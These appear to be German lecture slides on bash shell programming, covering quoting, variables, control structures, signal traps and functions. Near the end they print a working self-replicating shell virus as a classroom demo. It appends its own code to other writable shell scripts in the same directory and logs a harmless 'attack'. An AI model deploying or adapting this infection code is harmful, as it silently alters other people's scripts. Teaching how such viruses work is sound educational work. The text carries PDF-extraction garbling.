Shell-‐Programmierung

Shell-­‐Programmierung Alois Schü4e AOSD 1 Shell-­‐Programmierung In diesem Teil der Veranstaltung soll in die Shell-­‐Programmierung eingeführt werden. 1.  QuoAng und Wildcards 2.  Ausführung von Shell-­‐Programmen 3.  Variablen 4.  Kontrollstrukturen 5.  Fehlerbehandlung 6.  FunkAonen Wir werden als Grundlage die bash als Shell verwenden. Alois Schü4e AOSD 2 Shell-­‐Programmierung: QuoAng und Wildcards Das Quoten dient dazu, besAmmte Zeichen mit einer Sonderbedeutung vor der Shell zu 'verstecken' um zu verhindern, dass sie ersetzt werden. Nachfolgend einige Zeichen mit spezieller Bedeutung innerhalb der Shell: ; Befehls-­‐Trennzeichen & Hintergrund-­‐Verarbeitung ( ) Befehls-­‐Gruppierung | Pipe < > & Umlenkungssymbole * ? [ ] ~ Meta-­‐Zeichen für Dateinamen ` ` Befehls-­‐SubsAtuAon $ Variablen-­‐SubsAtuAon
Beispiele: -­‐> Tafel Alois Schü4e AOSD 3 Shell-­‐Programmierung: QuoAng und Wildcards Die folgenden Zeichen können zum Quoten verwendet werden: " " Alles zwischen diesen Zeichen ist buchstabengetreu zu interpreAeren. Ausnahmen sind folgende Zeichen, die ihre spezielle Bedeutung beibehalten: $ ` "
'' Alles zwischen diesen Zeichen wird uninterpreAert genommen, mit Ausnahme eines weiteren ' und \
\ entwertet das nachfolgende Zeichen Beispiele: -­‐> Tafel Alois Schü4e AOSD 4 Shell-­‐Programmierung: QuoAng und Wildcards Bei der Angabe von Dateinamen können Wildcards verwendet werden, um mehrere Dateien gleichzeiAg anzusprechen oder um nicht den vollen Dateinamen ausschreiben zu müssen. Die wichAgsten Meta-­‐Zeichen sind: * Eine Folge von keinem, einem oder mehreren Zeichen ? Ein einzelnes Zeichen [abc] eines der Zeichen in der Klammer
[a-q] ein Zeichen aus dem angegebenen Bereich [!abc] ein Zeichen, das nicht in der Klammer ist ~ Home-­‐Verzeichnis des aktuellen Benutzers ~name Home-­‐Verzeichnis des Benutzers name
Beispiele: -­‐> Tafel Alois Schü4e AOSD 5 Shell-­‐Programmierung: Ausführung von Shell-­‐Programmen Ein Shell-­‐Programm wird in einer Datei als Folge von Anweisungen abgelegt und mi4els des Kommandos sh (bash, ksh, csh) aufgerufen. Ist die Datei ausführbar, kann das Programm durch Aufruf der Datei ausgeführt werden. $
cat dl
pwd
ls –l
echo Dies ist das letzte Kommando des Shellprogramms
$
$ sh dl
/users/as/Vorlesungen/Unix/Skript/Shellprogrammierung
insgesamt 4
-rw-r--r-1 as
users
64 Jan 15 10:17 dl
Dies ist das letzte Kommando des Shellprogramms
$
$ chmod +x dl
$
$ dl
/users/as/Vorlesungen/Unix/Skript/Shellprogrammierung
insgesamt 4
-rwxr-xr-x
1 as
users
64 Jan 15 10:17 dl
Dies ist das letzte Kommando des Shellprogramms
$
Alois Schü4e AOSD 6 Shell-­‐Programmierung: Ausführung von Shell-­‐Programmen Um Shell-­‐Programme von beliebiger Stelle im Dateisystem ausführen zu können, sollte man ein eigenes Verzeichnis dafür anlegen und dieses Verzeichnis in den Pfad einfügen. $
mkdir $HOME/bin
$ mv dl $HOME/bin
$ PATH=$PATH:$HOME/bin
$
$ cd /tmp/
$ dl
…………
$
Achtung Man kann Shell-­‐Programmen beliebige Namen geben. Vermieden werden sollten Namen, die schon von Systemprogrammen verwendet werden, da dies unerwünschte Effekte haben kann: •  Systemkommandos sind nicht mehr wie gewohnt zugänglich. •  Es können Unendlichschleifen entstehen. Alois Schü4e AOSD 7 Shell-­‐Programmierung: Ausführung von Shell-­‐Programmen $ mv dl date
$ PATH=.:$PATH
$ date
/users/as/Vorlesungen/Unix/Skript/Shellprogrammierung
insgesamt 4
-rwxr-xr-x
1 as
users
64 Jan 16 10:00 date
Dies ist das letzte Kommando des Shellprogramms
$
$ /bin/date
Mit Jan 16 10:04:59 CET 2002
$
$ mv dl ls
$ cat ls
pwd
ls -l
echo Dies ist das letzte Kommando des Shellprogramms
$ ls
/users/as/Vorlesungen/Unix/Skript/Shellprogrammierung
/users/as/Vorlesungen/Unix/Skript/Shellprogrammierung
/users/as/Vorlesungen/Unix/Skript/Shellprogrammierung
……….
Alois Schü4e AOSD 8 Shell-­‐Programmierung: Variablen -­‐ PosiAonsparameter Variablen sind die grundlegenden Datenobjekte, die außer Dateien von Shell-­‐Programmen verändert werden können. Zu unterscheiden sind: •  PosiAonsparameter (posiAonal parameter), •  Spezialparameter (spezial parameter) und •  Variablen mit Namen (named variables) Ein PosiAonsparameter ist eine Variable in einem Shell-­‐Programm, deren Wert durch ein Argument bei einem Programmaufruf gesetzt wird. PosiAonsparameter werden durch $1, $2, $3 usw. angesprochen. In einem Shell-­‐Programm sind bis zu 9 solcher Parameter verwendbar. $ cat pp
echo 1. Positionsparameter:
echo
2. Positionsparameter:
$
$ pp eins zwei
1. Positionsparameter: eins
2. Positionsparameter: zwei
$
$1
$2
Alois Schü4e AOSD 9 Shell-­‐Programmierung: Variablen -­‐ Spezialparameter Durch Spezialparameter $# $* kann auf die Anzahl der Argumente und auf den gesamten Argumentestring zugegriffen werden. $ cat get.num
echo Anzahl der Argumente: $#
$
$ get.num Test des Programms
Anzahl der Argumente: 3
$
$ cat show.param
echo Die Parameter sind: $*
$
$ show.param Test des Programms 4 5 6 7 8 9 0 11 12
Die Parameter sind: Test des Programms 4 5 6 7 8 9 0 11 12
$
Alois Schü4e AOSD 10 Shell-­‐Programmierung: Variablen -­‐ Spezialparameter Weiter vordefinierte Variablen sind: $n Aufrufparameter n (n<=9) $? Rückgabewert des letzten Kommandos $$ Prozeßnummer der akAven Shell $! Prozeßnummer des letzten Hintergrundprozesses ERRNO Fehlernummer des letzten fehlgeschlagenen Systemaufrufs PWD Aktuelles Verzeichnis OLDPWD Vorheriges Verzeichnis Alois Schü4e AOSD 11 Shell-­‐Programmierung: Variablen -­‐ Wertzuweisung Eine selbst definierte Variable kann durch Variable=Wert
definiert und iniAalisiert werden. Dabei darf links und rechts vom Gleichheitszeichen kein Leerzeichen stehen. Der Wert einer Variablen wird durch dem Namen vorgestelltes $-­‐Zeichen ausgedrückt. Ein Variablenname muss mit einem Buchstaben oder einem Unterstreichstrich beginnen. Der Rest kann aus Buchstaben, Ziffern und Unterstreichstrichen aufgebaut sein. Kommandonamen sind als Namen für Variablen nicht erlaubt. Vordefinierte Variable können nicht zur eigenen Namensgebung verwendet werden. Folgende (nicht vollständige) Liste beschreibt vordefinierte Variablen: •  HOME beschreibt das Homeverzeichnis •  IFS gibt die Trennzeichen ein (internal field seperators: space, tab, carriage return) •  LOGNAME hat als Wert den Login-­‐Name •  PATH ist der Suchweg der Shell zum Finden von ausführbaren Dateien •  PS1, PS2 sind die Promtzeichen Alois Schü4e AOSD 12 Shell-­‐Programmierung: Variablen -­‐ Wertzuweisung Den Wert aller Variablen zusammen mit ihre Namen kann man durch das Kommando env auflisten. $ env
PWD=/users/as/Vorlesungen/Unix/Skript/Shellprogrammierung
...
TERM=xterm
HOME=/users/as
XNLSPATH=/usr/X11R6/lib/X11/nls
PATH=/users/as/bin:/usr/local/bin:/usr/bin:/usr/X11R6/bin:/bin:/usr/lib/
java/bin:/usr/games/bin:opt/kde2/bin:.
$
Einer Variablen kann man einen Wert zuweisen: $ x=Jenni
$
Den Wert einer Variablen kann man mit dem echo Kommando einfach ausgeben: $ echo $HOME
/users/as
$ echo $x
Jenni
$
Alois Schü4e AOSD 13 Shell-­‐Programmierung: Variablen -­‐ Wertzuweisung Neben der direkten Zuweisung eines Literals kann eine Variable auch Werte erhalten durch •  read Kommando •  Umlenkung der Ausgabe von Kommandos in Variablen •  Zuweisen von Werten anderer Variable Um eine Benutzereingabe einzulesen, kann das read Komando verwendet werden: read variable
$ cat tel_list
Alois Schuette
INF
8435
Ursula Schmunck
INF
8413
$
$ cat num.please
echo ---------- Telefonverzeichnis ---------echo -n "Name: "
read name
grep -i $name tel_list
$
$ num.please
---------- Telefonverzeichnis ---------Name: Schmunck
Ursula Schmunck
INF
8413
$
Alois Schü4e AOSD 14 Shell-­‐Programmierung: Variablen -­‐ Wertzuweisung Durch die Kommandoersetzung kann die Ausgabe eines Programms so umgelenkt werden, dass eine Variable den resulAerenden Wert zugewiesen bekommt. Die allgemeine Form ist: Variable=`Kommando`
$ cat pt
time=`date | cut -c12-19`
echo aktuelle Zeit: $time
$
$ pt
aktuelle Zeit: 16:16:33
$
Auch auf der rechten Seite des Zuweisungsoperators (=) können Werte von Variablen aupauchen: $ cat prog
prog=$0
echo das Programm $prog wurde gestartet
$
$ prog
das Programm ./prog wurde gestartet
$
Alois Schü4e AOSD 15 Shell-­‐Programmierung: Variablen -­‐ SubsAtuAon Unter Variablen-­‐SubsAtuAon versteht man verschiedene Methoden um die Inhalte von Variablen zu benutzen. Das umfasst sowohl die einfache Zuweisung eines Wertes an eine Variable als auch einfache Möglichkeiten zur Fallunterscheidung. In den moderneren Shell-­‐Versionen (bash, ksh)
exisAeren auch die Möglichkeiten, auf Substrings von Variableninhalten zuzugreifen. Bei allen Angaben ist der Doppelpunkt opAonal. Wenn er aber angegeben wird, muss die Variable einen Wert enthalten. ${Variable}
Nutzt den Wert von Variable. Die Klammern müssen nicht mit angegeben werden, wenn die Variable von Trennzeichen umgeben ist. ${Variable:-Wert} Nutzt den Wert von Variable. Falls die Variable nicht gesetzt ist, wird Wert benutzt. ${Variable:=Wert} Nutzt den Wert von Variable. Falls die Variable nicht gesetzt ist, wird Wert benutzt, und Variable erhält den Wert.
${Variable:?Wert} Nutzt den Wert von Variable. Falls die Variable nicht gesetzt ist, wird der Wert ausgegeben und die Shell beendet. Wenn kein Wert angegeben wurde, wird der Text“ parameter null or not set“ ausgegeben. ${Variable:+Wert} Nutzt den Wert, falls die Variable gesetzt ist, andernfalls nichts. Alois Schü4e AOSD 16 Shell-­‐Programmierung: Kontrollstrukturen Die Shell stellt alle von "normalen" Programmiersprachen bekannte Kontrollstrukturen zur Verfügung: •  Kommentare erlauben es, den Programmtext zu dokumenAeren. •  Durch das "here document" ist es möglich, im Programm Zeilen einzufügen, die als Standardeingabe von Kommandos des Programms verwendet werden. •  Ein exit Kommando zusammen mit return Kodes macht es möglich, ein Programm gezielt zu verlassen, bevor das Textende erreicht ist. •  Mi4els for-­‐ und while-­‐Konstrukten sind Wiederholungen realisierbar. •  Durch if-­‐ und case Anweisungen können Entscheidungen programmiert werden. •  break und conCnue können das Abarbeiten von Schleifen beeinflussen. Kommentare sind Texte, die einem #-­‐Zeichen folgen; sie enden am Zeilenende. Allgemeine Form: #Kommentartext<CR>
Alois Schü4e AOSD 17 Shell-­‐Programmierung: Kontrollstrukturen – here document Innerhalb eines Shellprogramms ist es möglich, Zeilen als Eingabe von Kommandos zu markieren. Das Kommando verwendet dann diese Zeilen als Stanadardeingabe. Dadurch envällt es, zuerst eine Hilfsdatei zu erzeugen, von der das Kommando dann liest und diese anschließend zu löschen. Allgemeine Form: Kommando <<Delimiter<CR>
… Eingabezeilen …
Delimiter<CR>
Diese Art der Eingabeumlenkung wird häufig verwendet, um interakCven Programmen innerhalb von Shell-­‐Programmen benutzen zu können. $ cat bodyMassIndex.sh
# Body Mass Index berechen
# Formel: gewicht/groesse*groesse
[kg]/[meter]*[meter]
echo -n "Gewicht in Kilo: "
read gewicht
echo -n "Groesse in Meter: "
read groesse
bc << EOF
$ bodyMassIndex.sh
scale=2
Gewicht in Kilo: 81.5
$gewicht / ($groesse * $groesse)
Groesse in Meter: 1.76
EOF
26.37
$
$
Alois Schü4e AOSD 18 Shell-­‐Programmierung: Kontrollstrukturen – Return Kode Unix Kommandos sind i.A. so realisiert, dass sie einen Return Kode besitzen, der anzeigt, ob das Kommando erfolgreich oder fehlerhap beendet wurde. Unix KonvenAon ist, dass ein Return Kode 0 anzeigt, dass das Kommando erfolgreich beendet wurde, ein Wert ungleich 0 zeigt einen Fehler an. In einem Shell-­‐Programm kann der Return Kode durch das exit Kommando an den Aufrufer weitergegeben werden; der Aufrufer kann den Exit Status durch Abfrage des Spezialparameters $? erkennen. $ cat bodyMassIndex.sh
# Body Mass Index berechen
# Formel: gewicht/groesse*groesse
[kg]/[meter]*[meter]
echo -n "Gewicht in Kilo: "
read gewicht
echo -n "Groesse in Meter: "
read groesse
bc << EOF
scale=2
$gewicht / ($groesse * $groesse)
EOF
$ bodyMassIndex.sh
exit 0
Gewicht in Kilo: 81.5
$
Groesse in Meter: 1.76
26.37
$ echo $?
0
$
Alois Schü4e AOSD 19 Shell-­‐Programmierung: Kontrollstrukturen – Schleifen Die for-­‐Schleife führt eine Kommandosequenz aus, einmal für jedes Element einer Liste. Allgemeine Form: for Variable<CR> in Variablen_Liste do<CR> Kommando_1<CR> Kommando_2<CR> … Kommando_n<CR> done<CR> $ cat moveFile.sh
echo -n "type in the directory path: "
read path
for file
in memo1 memo2 memo3
do
mv $file $path/$file
done
exit 0
$
Alois Schü4e AOSD 20 Shell-­‐Programmierung: Kontrollstrukturen – Schleifen Im letzten Beispiel wurden die Dateinamen (memo1,…) explizit im Programm angegeben. Will man die Dateinamen beim Aufruf angeben können, so kann der in-­‐Teil der for-­‐Schleife envallen $ cat mvFile2.sh
echo -n "type in the directory path: "
read path
for file
do
mv $file $path/$file
done
exit 0
$
$ mv.file1 xy*
type in the directory path: /tmp
$
Alois Schü4e AOSD 21 Shell-­‐Programmierung: Kontrollstrukturen – Schleifen Bei einer while Schleife werden zwei Gruppen von Kommandos verwendet: die Kommandos der do-­‐while Guppe werden solange wiederholt, wie die Auswertung des letzten Kommandos der while-­‐Gruppe den Returnstatus true (Kommando erfolgreich ausgeführt) liefert. Allgemeine Form: while<CR> Kommando_1<CR> … Kommando_n<CR> do Kommando_n+1<CR> … Kommando_n+m<CR> done<CR> $ cat telEintrag.sh
while
echo -n "Name: "
read name
echo -n "Telefon: "
read telefon
do
echo $name
INF
done
$
$telefon >> telListe
Alois Schü4e AOSD 22 Shell-­‐Programmierung: Kontrollstrukturen – Entscheidungen Ein if-­‐Kommando bewirkt, dass die then-­‐Kommandosequenz nur ausgeführt wir, wenn das letzte Kommando der if-­‐Liste erfolgreich abgeschlossen wurde; ansonsten wird die else-­‐ Kommandosequenz ausgeführt. Allgemeine Form: if<CR> Kommando_1<CR> Kommando_2<CR> … Kommando_n<CR> then Kommando_n+1<CR> Kommando_n+2<CR> … else Kommando_n+m+1<CR> Kommando_n+m+2<CR> … fi<CR> Alois Schü4e AOSD 23 Shell-­‐Programmierung: Kontrollstrukturen – Entscheidungen Das Shell-­‐Programm serach such mi4els grep ein Wort in einem File. $ cat search
echo -n "type in the word and file name: "
read word file
if
grep $word $file > /dev/null 2>&1
then
echo $word is in $file
else
echo $word is NOT in $file
fi
$
$ search
type in the word and file name: if search
if is in search
$
$ search
type in the word and file name: do search
do is NOT in search
$
Alois Schü4e AOSD 24 Shell-­‐Programmierung: Kontrollstrukturen – Entscheidungen In while-­‐ und if-­‐Kommandos sind häufig Tests durchzuführen. Dazu exisAert in Unix ein eigenes Kommando, das test-­‐Kommando. $ cat searchMitTest
echo -n "type in the word and file name: "
read word file
if test -r $file
# file exists and is readable
then
if
grep $word $file > /dev/null 2>&1
then
echo $word is in $file
else
echo $word is NOT in $file
fi
else
echo "no such file: $file"
fi
$
Alois Schü4e AOSD 25 Shell-­‐Programmierung: Kontrollstrukturen – Entscheidungen Achtung: Wenn ein test Kommando in einem Skript nicht so funkAoniert, wie es eigentlich definiert ist, kann dies folgende Ursachen haben: •  es exisAert ein Shell Programm mit Namen test •  es exisAert ein ausführbares Programm (z.B. C-­‐Programm) mit Namen test. Deshalb sollten Sie als Programmnamen nie test verwenden. In Shell-­‐Programmen kann man die Kurzform des Test-­‐Kommandos „[…]“ verwenden; dies mach Programme besser lesbar: if [ -r $file ]
then
if
# file exists and is readable
grep $word $file > /dev/null 2>&1
then
echo $word is in $file
else
echo $word is NOT in $file
fi
else
echo "no such file: $file"
fi
Alois Schü4e AOSD 26 Shell-­‐Programmierung: Kontrollstrukturen – Entscheidungen Durch das case-­‐esac Kommando kann eine Kommandofolge ausgewählt werden, die zu einem Muster passt. Die Muster enden mit der runden Klammer, die dazu gehörenden Kommandos enden mit ";;". Allgemeine Form: case wort<CR> in <CR> Muster_1 )<CR> Kommando_1_1<CR> … Kommando_1_n<CR> ;;<CR> Muster_2 )<CR> Kommando_2_1<CR> … Kommando_2_m<CR> ;;<CR> … *)<CR> Kommando_*_1<CR> … Kommando_*_t<CR> ;;<CR> esac<CR> In Aufschreibungsreihenfolge wird geprüp, welches Muster mit mit "Wort" übereinsAmmt, dann werden die entsprechenden Kommandos ausgeführt. Gibt es keine ÜbereinsAmmung, wird die *-­‐Kommandofolge ausgeführt. In den Mustern sind die Metazeichen "*?[]" erlaubt. Alois Schü4e AOSD 27 Shell-­‐Programmierung: Kontrollstrukturen – Entscheidungen $ cat set.term
echo -n "type in your terminal type: "
read term
case $term
in
vt100)
TERM=vt100;;
xterm)
TERM=xterm;;
*)
echo unknown terminal
TERM=vt100;;
esac
export $TERM
$
Alois Schü4e AOSD 28 Shell-­‐Programmierung: Kontrollstrukturen – break, conAnue Das Kommando break stoppt die Ausführung einer Schleife oder einer Verzweigung und die Programmausführung geht nach dem korrespondierenden done, fi oder esac weiter. Das conCnue Kommando verzweigt zur nächsten IteraAon einer Schleife und überspringt so die nach ihm stehenden Kommandos des Schleifenrumpfes. while :
do
clear
echo " A Auflisten des aktuellen Verzeichisses"
echo " S datei Schreiben"
echo " L datei Loeschen"
echo " z Datei anZeigen"
echo " E Ende"
echo -n "
Auswahl: "
read auswahl
case $auswahl
in
[aA])
(ls -l | more) ; sleep 5
;;
[sS])
echo -n "Datei: "
read datei ; vi $datei
;;
[lL])
echo -n "Datei: "
read datei ; rm -i $datei
;;
[zZ])
echo -n "Datei: "
read datei ; more $datei ; sleep 5
;;
[eE])
echo Bye!
exit
;;
*)
echo Auswahl nicht erlaubt!
read
esac
done
Alois Schü4e AOSD 29 Shell-­‐Programmierung: Kontrollstrukturen – Fehlerbehandlung Folgende Fehler können beim Ablauf eines Shell-­‐Skripts aupreten: 1.  eine E/A Umlenkung ist nicht möglich, weil z.B. eine Eingabedatei nicht exisAert; 2.  eine Kommando exisCert nicht oder ist nicht ausführbar; 3.  ein Kommando terminiert abnormal, z.B. durch einen Speicherfehler; 4.  ein Kommando terminiert korrekt, liefert aber einen Exit-­‐Status verschieden 0; 5.  im Skript ist ein Syntaxfehler, z.B. if…else ohne fi; 6.  ein Signal erreicht die Shell, z.B. durch CTR_C oder kill-­‐Kommando; 7.  ein Fehler tri4 bei einem Shell-­‐internen Kommando auf. Die Shell reagiert per Default wie folgt: –  Fehler vom Typ 1-­‐4 werden ignoriert; es wird mit der Bearbeitung des nächsten Kommandos im Skript fortgefahren und (außer bei 4) wird eine Fehlermeldung ausgegeben. –  Fehler vom Typ 5-­‐7 bewirken einen Abbruch des Shell-­‐Skripts. Alois Schü4e AOSD 30 Shell-­‐Programmierung: Kontrollstrukturen – Fehlerbehandlung Eine Shell-­‐Prozedur wird normalerweise durch die Signale n
Bedeutung
1
hangup (exit)
2
interrupt (CTR_C)
3
quit
9
kill
15
software termination (kill)
abgebrochen. Auf diese Signale (außer Signal 9) kann per Programm mi4els des trap-­‐Kommandos reagiert werden: •  Ignorieren trap '' n
•  ReakAon per Default trap n
•  Ausführen eines Kommandos trap 'Kommando' n
Alois Schü4e AOSD 31 Shell-­‐Programmierung: Kontrollstrukturen – Fehlerbehandlung Ein Skript soll bei Abbruch durch CTR_C die Meldung "Bye bye" ausgeben $ cat byeBye.ksh
trap
'echo Bye bye; exit 1' 2
echo Start
while :
do
date
sleep 10
done
$
-> Live
Zum (elementaren) Debuggen von Shell-­‐Programmen exisAeren zwei OpAonen für die Shell: -­‐v Programm druckt die Eingabezeilen des Shellprogramms, so wie sie gelesen werden -­‐x Programm druck Kommandos und ihre Argumente, so wie sie ausgeführt werden Alois Schü4e AOSD 32 Shell-­‐Programmierung: Kontrollstrukturen – FunkAonen Shell-­‐FunkAonen bieten die Möglichkeit, mehrere Kommandos zusammenzufassen bzw. Kommandos mit vielen Parametern abzukürzen. Shell-­‐FunkAonen dürfen nicht mit Shell-­‐Programmen verwechselt werden: •  Ein Shell-­‐Programm ist eine Datei, in der Kommandos stehen. •  Eine Shell-­‐FunkAon wird von der Shell verwaltet und liegt im Speicher, ist also ohne Pla4enzugriff abru•ar. Eine Shell-­‐FunkAon wird wie folgt definiert: FunktionName () {
Kommandos
}
Eine Shell-­‐FunkAon wird wie ein Shell-­‐Programm aufgerufen, die Parameter folgen dem FunkAonsnamen. Mit Unset FunKtionName
kann die FunkAon envernt werden. $ cat fkt1.ksh
c() {
cd $*
cwd=`pwd`
# change dir
PS1="`basename $cwd` $ " # change prompt
}
$
Alois Schü4e AOSD 33 Shell-­‐Programmierung: Kontrollstrukturen – FunkAonen Eine FunkAon "c" zum Change Directory mit Ändern des Prompt. $ cat fkt1.ksh
c() {
cd $*
cwd=`pwd`
# change dir
PS1="`basename $cwd` $ " # change prompt
}
$
$ . fkt1.ksh
$
$ c /tmp
tmp $
tmp $
tmp $ c
as $ pwd
/users/as
as $
Alois Schü4e AOSD 34 Shell-­‐Programmierung: Kontrollstrukturen – FunkAonen Auch Rekursive FunkAonen sind möglich. Anbei eine rekursive FunkAon zur Berechnung der i-­‐ten Fibonacci Zahl: $ cat fibo.sh
fibo() {
if [ $1 -eq 1 -o $1 -eq 2 ]; then
ret=1
echo $ret;
return;
fi
nminus1=`expr $1 - 1`
nminus2=`expr $1 - 2`
res1=`fibo $nminus1`
res2=`fibo $nminus2`
ret=`expr $res1 + $res2`
echo $ret
}
if [ $# -ne 1 ] ; then
echo "usage $0 <int>”; xit 1
fi
x=`fibo $1`
echo $x
exit 0$
$ fibo.sh 6
8
$
Alois Schü4e AOSD 35 Shell-­‐Programmierung: Kontrollstrukturen – FunkAonen Vorsicht: Es exisAeren auch Shell-­‐Skript Viren. Sie sind sehr einfach zu programmieren. $ cat v.sh
#!/bin/bash
# purpose: Demostrating simple implementation of a shell virus.
#
May only be used for demonstation purposes !!!
# def.:
#
#
#
# author:
A virus is a program that reproduces its own code by
attaching itself to other executable files in such a way
that the virus code is executed when the infected
executable file is executed.
[email protected]
Idee: •  FunkAon, die erkennt, ob im selben Verzeichnis ein Shell-­‐Skript ist (file Kommando) •  FunkAon, die erkennt, ob ein Skript bereits befallen ist (diff letzte Zeilen) •  FunkAon mit Schadkode Alois Schü4e AOSD 36 Shell-­‐Programmierung: Kontrollstrukturen – FunkAonen len=26
prog=$0
attack() {
# virus malware code
echo [`date`]: virus infected programm runs malware $1 >> /tmp/viruslog
}
infect(){
# virus infection code
if [ -w $prog ]; then
tail -n $len $prog >> $1
echo [`date`]: programm $1 infected by virus >> /tmp/viruslog
fi
}
check() {
# virsus detection code
tail -n $len $prog > $$v.0
tail -n $len $1 > $$v.1
diff -q $$v.0 $$v.1 > /dev/null
infected=$?
rm $$v.0 $$v.1
}
for file in `file * | grep "shell script" | cut -f1 -d:` ; do # for each shell script
check $file
# test $file already infected
if [ $infected -ne 0 ]; then # infect $file
infect $file
fi
done
attack $prog
# do some bad things
exit 0
$
-> Live
Alois Schü4e AOSD 37 Shell-­‐Programmierung: weitere Themen Weitere Themen wären z.B.: •  reguläre Ausdrücke •  Subshells •  restricted shells •  Arrays Die o.a. weiterführenden Themen sind gut beschreiben von Mendel Cooper in h4p://tldp.org/LDP/abs/html/index.html Alois Schü4e AOSD 38